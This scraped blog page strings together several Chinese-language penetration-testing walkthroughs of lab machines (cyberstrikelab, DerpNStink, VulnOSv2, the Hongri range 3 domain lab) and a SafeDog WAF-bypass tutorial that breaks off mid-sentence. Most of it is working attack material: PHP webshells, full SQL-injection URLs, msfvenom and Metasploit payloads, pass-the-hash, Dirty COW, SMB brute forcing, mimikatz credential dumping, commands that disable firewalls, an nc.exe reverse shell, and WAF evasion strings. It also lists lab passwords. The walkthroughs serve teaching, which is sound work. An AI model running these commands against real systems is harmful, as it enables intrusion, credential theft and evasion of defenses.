泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 暴力破解
cyberstrikelab-lab3web信息收集端口扫描nmap -sT -Pn -p- 192.168.10.10 -T4 3590端口开启是一个web应用扫描出来了一个访问看看是一个登录框查看登录界面的网页源码登录进来看到版本信息使用万能的搜索引擎看到这里有一个本地文件泄露漏洞找到第一个flag另外还发现能在web目录写入文件，我们写入一句话<?php @eval($_POST['cmd']);?> 蚁剑连接msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 内网渗透上线msf直接就是系统权限查找fscanfind / -name "fscan.exe" 2>/dev/null 利用meterpreter模块上传upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 看到有双网卡fscan扫描另一张网卡，发现192.168.20.20和192.168.20.30靶机，其中30是域控主机使用fscan扫描第一台机器的端口添加路由run post/multi/manage/autoroute 配置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j 修改代理vi /etc/proxychains4.conf 访问到thinkphp站从flag中可以看到木马在主页使用awBruter密码爆破工具，爆破出来密码是admin123蚁剑设置好代理使用密码连接找到第二个flag拿下系统权限域渗透之后就可以上传msf马，如果蚁剑不行的话（这个环境可能有一点问题，第二台机器老是断网）那就使用windows的远程连接上传到10.10，然后再利用windows自带的远程连接传20.20机器（前提是创建了一个远程连接用户），往期很多文章都写过，之后利用msf抓取hash或者使用猕猴桃抓取哈希，使用hash传递攻击proxychains impacket-psexec -hashes :f349636281150c001081894de72b4e2b cyberstrikelab.com/administrator@192.168.20.30
根据作者提示，就是让我们收集一些网页上泄露的信息，获取系统的最高权限利用arp-scan对网络中的主机进行发现masscan端口扫描工具，对端口快速扫描分别有80，21，22端口开启了使用nmap对masscan扫描出来的端口进行指纹识别查看这个网页的源代码，找到第一个flag看样子靶场应该和网页源代码有关，只有这两个图片和DeRPnStiNK利用这两个名字进行登录测试，皆没有权限查看目录扫描出来的phpmyadmin但是我们访问的时候呢，自动跳转到了这个域名derpnstink.local，说明还是要添加hosts的发现关键字，wp-content，这不就是wordpress嘛使用这个wpscan wordpress渗透工具扫描的时候，发现自动重定向到了这个域名使用kali添加hosts利用wpscan发现可能存在的用户，以及进行密码爆破wpscan --url "http://derpnstink.local/weblog/" -e u -P /data/SecLists_Dict/Passwords/darkweb2017-top10000.txt这个不行嘞貌似能够用文件上传获取shell但是我们访问这个链接的时候呢没有任何东西的报的404，检索插件利用34681这个py文件的时候报了很多错，只能用msf了python3 -c 'import pty;pty.spawn("/bin/bash")'https://hashes.com/zh/decrypt/hash账号密码为：unclestinky/wedgie57登录后得到flag2密码碰撞，猜测密码为 home下面的用户密码，stinky 用户登录成功切换到这个用户的目录下面，发现一个ssh的密匙文件（没有什么卵用）切换到当前用户的桌面下发现flag3mrderp / derpderpderpderpderpderpderp提权方法如下
【oscp】Blender软件的信息泄露---VulnOSv2端口扫描80探测访问前端页面全端口扫描，有一个6667端口（一款多平台上可使用的IRC守护程序）wappalyzer信息收集使用dirb进行目录扫描都没有结果了，点击页面上的那个website，会跳转到这个页面这里要看仔细一点，这里字体是黑色的，有一个页面路径/jabcd0cs，和用户密码guest/guest去访问这个目录前可以直接使用这个用户登录一下ssh，很明显登录失败访问并登录登录成功这里有一个文件上传（add document）尝试上传shell.php（一句话木马），但是我们并不知道上传的目录在哪再次目录扫描，这次扫描需要加上这个隐藏的路径jabcd0cs这些方法都可以试试，还有一个执行文件的东西，找绝对路径，找到一句话木马的位置可惜都不行这时候就需要细心一点了searchsploit漏洞检索，找到一个漏洞有一个sql注入开始利用http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,user(),3,4,5,6,7,8,9暴库http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata # information_schema,drupal7,jabcd0cs,mysql,performance_schema,phpmyadmin暴表（jabcd0cs表）http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database() # odm_access_log,odm_admin,odm_category,odm_data,odm_department,odm_dept_perms,odm_dept_reviewer,odm_filetypes,odm_log,odm_odmsys,odm_rights,odm_settings,odm_udf,odm_user,odm_user_perms暴字段（jabcd0cs表）,但是没有任何关于密码的字段http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() # file_id,user_id,timestamp,action,id,admin,id,name,id,category,owner,realname,created,description,comment,status,department,default_rights,publishable,reviewer,reviewer_comments,id,name,fid,dept_id,rights,dept_id,user_id,id,type,active,id,modified_on,modified_by,note,revision,id,sys_name,sys_value,RightId,Description,id,name,value,descripti这里有一个注意点，就是用字符串表名来查表的时候查不出来，payload如下：http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=odm_user这里要把表的字符串换成16进制，6f646d5f75736572所以完整暴字段（带表）的payload是http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=0x6f646d5f75736572 # id,username,password,department,phone,Email,last_name,first_name,pw_reset_code查密码http://192.168.111.194/jabcd0cs/ajax_udf.php ?q=1 &add_value=odm_user%20UNION%20SELECT%201, group_concat(username,password),3,4,5,6,7,8,9 from odm_user # webmin # b78aae356709f8c31118ea613980954b # webmin1980 # guest # 084e0343a0486ff05530df6c705c8bb4 # guest知道了账号密码，第一时间测试ssh连接，连接成功了内核信息收集内核漏洞检索（没有漏洞）历史命令，看到用户vulnosadmin的目录下面的文件，有很多hydra的文件运行一下使用make命令（Makefile 是一个文本文件，其中定义了如何构建程序所需的规则和步骤。）再查看进程信息，ps -aux，包含了postgres数据库将/usr/share/wordlists/metasploit/postgres_default_pass.txt和postgres_default_user.txt文件传到靶机上，进行密码爆破。爆破出 postgres/postgres登录postgres数据库psql -h localhost -U postgresl，注意，postgres数据库查询语句区分大小写vulnosadmin / c4nuh4ckm3tw1c3将此文件复制到网页根目录下面本机下载，打开这个网站，并上传上去，点击旁边的那个框，就可以看到密码了https://imagetostl.com/cn/view-blend-onlineTips：.blend 文件是 Blender 软件的专有文件格式，用于保存 3D 制作项目。第二种方法，内核提权，信息收集低版本的内核提权传到靶机上，编译，并运行，提权成功注意点在使用sql注入的时候如果不能正常的根据表名查找数据，那么可以将其转换为十六进制，例如http://192.168.111.194/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201, group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=0x6f646d5f75736572 # odm_userpostgres数据库的登录命令psql -h localhost -U postgrespostgres数据库的查询语句，是区分大小写的l ：显示数据库c：切换连接的数据库往期推荐【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏HTB-Chemistry靶机渗透教程ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略开箱即用！265种windows渗透工具合集--灵兔宝盒
红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学
这是红日团队的第三套靶场，本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成，其中包括3台Windows机器和2台Linux机器。网络拓扑图如下红日靶场（1-8）全套下载连接：链接:https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw?pwd=uze8 提取码:uze8 红日官网：http://vulnstack.qiyuanxuetang.net/那么开始渗透首先添加一张网卡（仅主机模式），192.168.93.0/24 网段web-centos 进去第一条命令，重启网络服务，否则可能上不了网service network restart 网卡1：桥接模式 192.168.1.110网卡2：仅主机 192.168.93.100账号密码：wwwuser/wwwuser_123Aqxweb1-ubuntu仅主机模式：192.168.93.120PC仅主机：192.168.93.30win 2008仅主机：192.168.93.20 Windows 2008本地的管理员用户和域管理员的密码 WIN2008Administrator：123qwe!ASD TESTadministrator：zxcASDqw123!!win 2012仅主机：192.168.93.10kaliIP：192.168.1.8，192.168.1.5（中间换了换 IP）这是一个黑盒测试，开机后就不要进行任何的操作了。外网打点主机发现，因为是桥接模式，ip有点多，所以就挨个测试，看110很可疑，第一次就测出来了22端口，openssh 5.3版本，80端口 nginx 1.9.4 ，Joomla内容管理xi'tong3306测试，发现可以远程登录，但是我们不知道用户信息进一步信息收集查看源码丢给deepseek，看看有没有泄露版本另外在joomla这个cms内容管理系统中呢，这个文件存在版本信息，我们可以看看/administrator/manifests/files/joomla.xml上面可以看到cms的指纹信息了，版本为3.9.12，下面进行漏洞检索searchsploit Joomla 3.9漏洞信息里面是没有可以利用的漏洞的，下面我们用joomscanapt install joomscan joomscan --url http://192.168.1.110/JoomScan 是一款专门针对 Joomla 内容管理系统（CMS）的安全扫描工具，用于检测 Joomla 网站中的漏洞、配置错误和安全风险。扫描出来一个这个东西，访问即可curl http://192.168.1.110/configuration.php~服务攻防找到了mysql的账号密码，刚开始我们已经测试过能远程登录mysql的mysql -utestuser -h192.168.1.110 -p --skip-ssl 密码：cvcvgjASD!@ MySQL [joomla]> use joomla; MySQL [joomla]> select * from umnbt_users;很明显是加了盐的，破解起来很难，这里还有另外一个表am2zu_users查看是否能向外部写文件，以及是否允许写日志文件show variables like '%general%'; SHOW VARIABLES LIKE 'general_log_file';这里发现secure_file_priv是允许向外部写文件的，那么我们尝试写一个shell木马，报错了，看样子是不允许我们写入的MySQL [joomla]> select '<?php phpinfo();@eval($_GET[1]);?>' into outfile '/var/www/html/shell.php'; ERROR 1045 (28000): Access denied for user 'testuser'@'%' (using password: YES)那么更换日志渗透的方法，上面看到日志功能是off的我们需要no，很遗憾也是权限不够MySQL [joomla]> set global general_log=on; ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation那么久添加后台用户进一步渗透，两个表中呢，我们不清楚哪个表是后台的用户表，那么就都添加一条数据，密码为123456的md5，e10adc3949ba59abbe56e057f20f883e，首先我们要看看需要添加哪些字段desc 表名; id,name,username,email,password,activation,otpKey,otep构造sql语句insert into am2zu_users(id,name,username,email,password,activation,otpKey,otep) values(999,'xiaoyu','xiaoyu@test.com','e10adc3949ba59abbe56e057f20f883e','ssssss','kkkkkk','yyyyy'); # 失败后面搜到了这个网站，有利用方法https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn代码如下INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');执行结果MySQL [joomla]> INSERT INTO `am2zu_users` -> (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) -> VALUES ('Administrator2', 'admin2', -> 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_users`; +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ | 891 | Super User | administrator | test@test.com | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 | 0 | 1 | 2019-10-19 12:48:41 | 0000-00-00 00:00:00 | 0 | | 0000-00-00 00:00:00 | 0 | | | 0 | | 896 | Administrator2 | admin2 | | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 | 0 | 0 | 2025-02-25 19:56:54 | 2025-02-25 19:56:54 | | | 2025-02-25 19:56:54 | 0 | | | 0 | +-----+----------------+---------------+---------------+-------------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------------+------------+--------+------+--------------+ 2 rows in set (0.001 sec) MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) -> VALUES (896,'8'); Query OK, 1 row affected (0.001 sec) MySQL [joomla]> select * from `am2zu_user_usergroup_map`; +---------+----------+ | user_id | group_id | +---------+----------+ | 891 | 8 | | 896 | 8 | +---------+----------+ 2 rows in set (0.001 sec)从上面那个网站可以知道账号密码为admin2/secret（注意数据一定要对应上，用户id需要对应，并且不能有重复的数据，否则都有可能登录不成功）我们修改主题文件为kali默认的反弹shell文件内容，并修改ip和端口但是呢反弹失败了，切换思路写一句话木马<?php @eval($_POST['pass']);?>使用蚁剑连接内网渗透这里呢被禁用命令了，也难怪刚刚反弹不成功这里我们需要蚁剑的一个插件（魔法）在列表页使用插件使用这个模式就可以正常执行命令啦，后面又试了试各种反弹shell的命令，都没有成功，那么只能利用这个蚁剑的shell了在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqxssh连接失败，提示信息为算法问题那么需要加上算法ssh wwwuser@192.168.1.110 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa # 以下是常见的解决方案 ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集使用icmp协议探测内网ip存活数量，发现了另外4台主机（）for i in {1..254}; do (ping -c 1 192.168.93.${i} | grep "bytes from" | grep -v "Unreachable" &); done;上传frpkali开启frp服务器，frp相对详细使用教程见-- 三种代理方式打入内网靶机连接kali的frp服务器修改代理文件vi /etc/proxychains4.conf分别对10，20，120进行端口扫描（耗时可能有点久），第一台和第三台都是Windows服务器proxychains nmap -sT -sV -Pn 192.168.93.10 -T4proxychains nmap -sT -sV -Pn 192.168.93.20 -T4proxychains nmap -sT -sV -Pn 192.168.93.30 -T4这台扫描结果是Linux的服务器，开着ssh和3306端口，并且80也开着的proxychains nmap -sT -sV -Pn 192.168.93.120 -T4开启浏览器代理，代理到我们的kali，通过kali的代理访问这个内网靶机这是内网中的一个靶机，也是同样的cms，那么我们可不可以以同样的方式去获取密码再次利用joomscan这个工具，扫描结果也是一样的proxychains joomscan --url http://192.168.93.120/和刚刚的配置文件一模一样，那么大概率是使用的内网映射了，源主机是120，但是访问的是100那台具有nat网卡的主机连接ssh后，继续信息收集提权（可跳过）# kali git clone https://github.com/firefart/dirtycow.git cd dirtycow python -m http.server 5000 # 靶机 wget 192.168.1.8:5000/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty my-new-password mv /tmp/passwd.bak /etc/passwd su firefart password:123456成功提权到最高权限第一台web服务器拿下利用nmap对两台Windows靶机的445端口进行漏洞扫描，判断是否存在永恒之蓝漏洞（三台接没有）那么还有一种方法就是SMB爆破了，非常巧，在我的top1000字典中恰好没有这个密码（所以为了伪装成一个大佬我就手动把密码加了进去~），再很巧，两个靶机的SMB密码都是123qwe!ASDproxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.30 proxychains hydra -l Administrator -P xato-net-10-million-passwords-1000.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.93.20域渗透本机Windows打开 proxifier，并设置全局代理打开本机Windows的cmd，此时就能连接第一台SMB服务器，192.168.93.20net use \192.168.93.20ipc$ "123qwe!ASD" /user:administrator # 通过 net use 命令连接到目标服务器的 IPC$ 共享。 dir \192.168.93.20c$ # 列出目标服务器上 C$ 共享目录的内容。第二台192.168.93.30那么接下来就要关闭目标防火墙，开启远程连接，首先创建一个进程，关闭失败sc \192.168.93.20 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.20 start unablefirewall那么添加计划任务关闭防火墙试试呢at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off' at \192.168.93.20 23:17:00 'netsh advfirewall set allprofiles state off'接下来就是修改注册表了，计划任务设置允许远程登录at \192.168.93.20 23:31:00 "reg add 'HKLMSYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"计划任务放行3389端口at \192.168.93.20 23:32:00 'netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389'尝试远程连接，连接失败，切换思路既然无法关闭那么就使用MSF咯proxychains MSFconsole set RHOST 192.168.93.20 set LHOST 192.168.93.5 # kali地址 set SMBUser Administrator set SMBPass 123qwe!ASD set LPORT 4444 set payload Windows/x64/shell_bind_tcp run这里就已经是系统权限了。。。。并且主机名为win2008查看dns服务器，为192.168.93.10，大概率就是域控服务器了ipconfig /all尝试使用密码123qwe!ASD登录域控服务器其他信息收集，检查是否存在杀软Windows defender（不存在）sc query WinDefend查看系统类型，是x64的C:Windowssystem32>systeminfo | findstr /i "system type" systeminfo | findstr /i "系�system type" OS Build Type: Multiprocessor Free System Type: x64-based PC上传mimikatz.exeexit set payload Windows/x64/meterpreter/bind_tcp run upload -r /data/windows_atk/mimikatz/x64/mimikatz.exe C:\使用shell执行命令，执行失败了那么就退出，使用shell_bind_tcp模块exit set payload windows/x64/shell_bind_tcp run抓取铭文密码mimikatz.exe log privilege::debug sekurlsa::logonpasswords得到两个域的账号密码，枚举DNS服务器的文件系统TEST：zxcASDqw123!! WIN2008：123qwe!ASD开启远程服务# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f成功获取20靶机远程操作权限使用test域登录dns服务器，登录成功net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator dir \192.168.93.10c$创建执行任务，关闭防火墙，执行不了奥sc \192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.10 start unablefirewall那么就利用nc.exe反弹shellcurl -O http://192.168.1.5:5000/nc.exe net use \192.168.93.10ipc$ "zxcASDqw123!!" /user:Administrator copy .nc.exe \192.168.93.10c$ net use \192.168.93.20ipc$ "123qwe!ASD" /user:Administrator copy .nc.exe \192.168.93.20c$可以看到nc已经上传成功了创建一个进程sc \192.168.93.10 create ncshell binpath= "c:nc.exe 192.168.93.20 1234 -e cmd" sc \192.168.93.10 start ncshell在反弹过来的shell中开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f使用远程登录，即可发现允许远程登录了（注意Proxifier全局代理不能断掉）拿下winserver2012域控服务器现在已经拿下了三台，那么接下来就是第四台win7（pc），ip：30，回到刚刚的MSFset RHOSTS 192.168.93.30开启远程连接# 放行3389端口 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 # 关闭防火墙 netsh advfirewall set allprofiles state off # 修改注册表允许远程连接 reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f此时已经可以远程连接，输入之前获得的密码即可拿下第最后一台PC主机至此渗透结束，还可以清除日志，关闭全部远程，恢复到初始状态，做好隐蔽措施渗透测试报告总结（deepseek）1. 测试概述本次渗透测试模拟了针对某企业网络的全流程攻击，覆盖外网打点、内网横向渗透、域控提权等多个阶段。目标网络包含Web服务器（CentOS/Ubuntu）、Windows域环境（2008/2012）及内网PC终端（Win7），最终成功获取域控服务器（Windows Server 2012）及全部内网主机的控制权。2. 攻击路径总览graph TD A[外网入口: Web-CentOS] --> B{漏洞利用} B --> C[Joomla 3.9.12后台接管] C --> D[MySQL凭据泄露] D --> E[Webshell上传 & 蚁剑连接] E --> F[SSH登录 & 内网代理搭建] F --> G[内网主机发现] G --> H[横向移动: SMB爆破 & 永恒之蓝漏洞利用] H --> I[域控服务器渗透] I --> J[域内PC终端控制]3. 外网打点阶段3.1 目标识别 IP地址：192.168.1.110（桥接模式） 开放服务： 22端口：OpenSSH 5.3 80端口：Nginx 1.9.4 + Joomla 3.9.12 3306端口：MySQL 5.5.62 3.2 关键漏洞利用(1) Joomla后台接管 漏洞利用：通过configuration.php~备份文件泄露获取MySQL凭据 攻击链： # 数据库操作 INSERT INTO am2zu_users (...) VALUES (...); # 添加管理员账号 INSERT INTO am2zu_user_usergroup_map (...) VALUES (...); # 分配权限 结果：成功登录Joomla后台（admin2/secret） (2) Webshell植入 方法：通过模板编辑注入PHP一句话木马 工具：蚁剑连接http://192.168.1.110/shell.php 提权：利用Dirty Cow漏洞从wwwuser提权至root 4. 内网横向渗透4.1 网络拓扑分析 网段划分： 仅主机模式：192.168.93.0/24 关键主机： 192.168.93.10（域控-Win2012） 192.168.93.20（Win2008） 192.168.93.30（Win7-PC） 4.2 代理隧道搭建 工具：frp反向代理 配置：# frpc.ini [common] server_addr = 192.168.1.8 server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 4.3 横向移动关键步骤(1) SMB服务爆破 工具：Hydra 命令： proxychains hydra -l Administrator -P passlist.txt smb://192.168.93.20 结果：破解密码123qwe!ASD，获取Win2008控制权 (2) 永恒之蓝漏洞利用 模块：exploit/windows/smb/ms17_010_eternalblue Payload：windows/x64/meterpreter/reverse_tcp 结果：获取Win2008系统级Shell 5. 域渗透与域控提权5.1 域环境分析 域名称：TEST 域控IP：192.168.93.10 关键凭证： WIN2008Administrator:123qwe!ASD TESTadministrator:zxcASDqw123!! 5.2 域控攻击路径 凭证抓取： mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" 远程执行： sc \192.168.93.10 create ncshell binpath="cmd /c c:nc.exe 192.168.93.20 1234 -e cmd" 权限提升：通过RDP连接接管域控服务器 6. 渗透测试结果 主机IP 操作系统 获取权限级别 关键漏洞/方法 192.168.1.110 CentOS 7 root Joomla SQL注入 + Dirty Cow 192.168.93.20 Windows 2008 SYSTEM SMB密码爆破 + Mimikatz 192.168.93.10 Windows 2012 Domain Admin 横向移动 + 凭证重用 192.168.93.30 Windows 7 Administrator 永恒之蓝漏洞利用 7. 风险总结与修复建议7.1 高风险项 弱密码策略 SMB服务密码123qwe!ASD强度不足 建议：启用复杂度策略 + 定期强制修改 过时软件漏洞 Joomla 3.9.12存在未授权数据库写入风险 建议：升级至最新LTS版本 + 禁用备份文件访问 横向防御缺失 内网主机未部署EDR/流量监控 建议：部署微隔离策略 + 启用Windows Defender ATP 7.2 加固措施 网络层： # 防火墙规则示例（Linux） iptables -A INPUT -p tcp --dport 3306 -j DROP # 禁用MySQL外网访问 系统层： # Windows组策略 Set-ItemProperty "HKLM:SYSTEMCurrentControlSetControlLsa" -Name "DisableDomainCreds" -Value 1 # 禁止明文凭据缓存 应用层： # Nginx配置隐藏版本号 server_tokens off; 8. 总结与反思本次测试暴露了企业网络在边界防护、密码管理和漏洞修复方面的严重不足。建议企业： 建立常态化红蓝对抗机制 每季度执行一次外部漏洞扫描 对运维人员开展ATT&CK攻击链防御培训 渗透测试不仅是技术验证，更是安全意识的觉醒。——By 泷羽Sec安全攻防团队往期推荐红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【渗透测试】ATT&CK靶场一，phpmyadmin，域渗透，内网横向移动攻略【oscp】vulnerable_docker，三种代理方法打入内网【oscp】Tr0ll 靶机全系列（1-3），FTP被玩坏了HTB-Chemistry靶机渗透教程
安全狗WAF绕过系列一、WAF概述WAF（Web应用防火墙）作为一种专为Web应用程序设计的安全防护工具，其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略，来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集，这些规则旨在对每一个进入系统的请求内容进行细致审查，并对任何违反安全策略的请求采取即时且有效的防御措施，从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建，涵盖四个关键环节：预处理、规则匹配、响应处理以及日志记录，共同编织成一张紧密的安全防护网。 预处理阶段：此阶段，WAF首先担任起“守门人”的角色，对所有进入的数据请求流量进行初步筛选，确认其是否遵循HTTP/HTTPS协议标准。紧接着，WAF会利用预设的白名单机制，快速识别并放行那些已知安全或信任的URL请求，直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求，WAF则进一步深入，对其数据包进行精细解析，为后续的安全检测做准备。 规则匹配阶段：此为核心环节，WAF利用其内置的强大规则引擎，对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式，包括但不限于SQL注入、跨站脚本（XSS）、命令注入等常见Web安全威胁。通过这一过程，WAF能够精准识别出潜在的恶意请求，为后续的安全响应奠定坚实基础。 响应处理阶段：基于规则匹配的结果，WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求，WAF会毫无阻碍地将其转发至后端Web服务器，确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求，WAF则展现出其防御实力，通过阻断请求、记录日志或触发告警等多种方式，有效遏制潜在的安全风险，保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF（Web应用防火墙）绕过姿势包括但不限于以下几种： 提交方式变换：许多WAF默认配置下主要对GET请求进行过滤，而忽略POST请求、Cookie、HTTP头等其他提交方式。因此，可以尝试将攻击载荷通过不同的提交方式进行发送，以绕过WAF的检测。 大小写替换和编码绕过：利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷，通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码，以绕过WAF的过滤规则。 事件函数变换：WAF会重点识别触发JavaScript代码执行的事件函数字段，如onclick。通过变换事件函数名称或利用其他不常见的事件函数，可以尝试绕过WAF的识别。 注释符和内联注释：使用SQL注释符（如--、#）或HTML/JavaScript注释（如 、//）来绕过WAF对特定关键字的过滤。有时，将攻击载荷与注释符结合使用，可以欺骗WAF使其忽略部分攻击载荷。 分片传输：通过调整HTTP请求中的Content-Length头部，将攻击载荷分成多个部分发送，可能导致WAF无法完整解析请求内容，从而绕过检测。 利用WAF软肋：WAF在部署时可能因性能考虑而留下一些软肋，如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为，可能发现并利用这些软肋进行绕过。 爬虫白名单绕过：部分WAF提供爬虫白名单功能，通过伪装成爬虫（修改User-Agent或模拟爬虫行为）可能绕过WAF的检测。 高并发流量攻击：通过发送大量垃圾数据或高并发请求，使WAF设备进入Bypass IPS模式或达到性能极限，从而暂时或永久性地绕过WAF的防护。 请注意，上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为，可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前，请确保已获得合法授权。四、安全狗绕过姿势环境：phpstudy—apache2.4.39安全狗官网v4.0下载（应该是最新版）：https://www.safedog.cn/website_safedog.html当然如果需要套件，我都给你准备好了关注后台回复【安全狗】即可获取，感谢宝子们一直以来的关注在开始之前，如果没有SQL注入基础的的童鞋，还请观看我的另外一篇文章，1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中，我们发现直接使用“and 1=1”这种方法似乎并不奏效，这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的，我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误，这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点，我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果，证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了！！在此输入：http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行，打开burp suite，拦截下我们阻截的包，添加$payload到我们测试的注释符中然后点击发送到intruder模块，选择如下：然后，点击pyload，选择暴力破解（Brute forcer）：attack，开始攻击，安全狗有流量攻击的防御，后面可能会被拦截，解决办法直接重启apache服务器。好了这里测试完成了，点击length更改默认排序，我们拿每个请求成功payload（检查response即可查看是否成功，如果用户名正常显示，说明该字符payload安全狗没有进行拦截）。我们随便娶一个/!*得到payload和注释符拼接/*/!**/，这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order 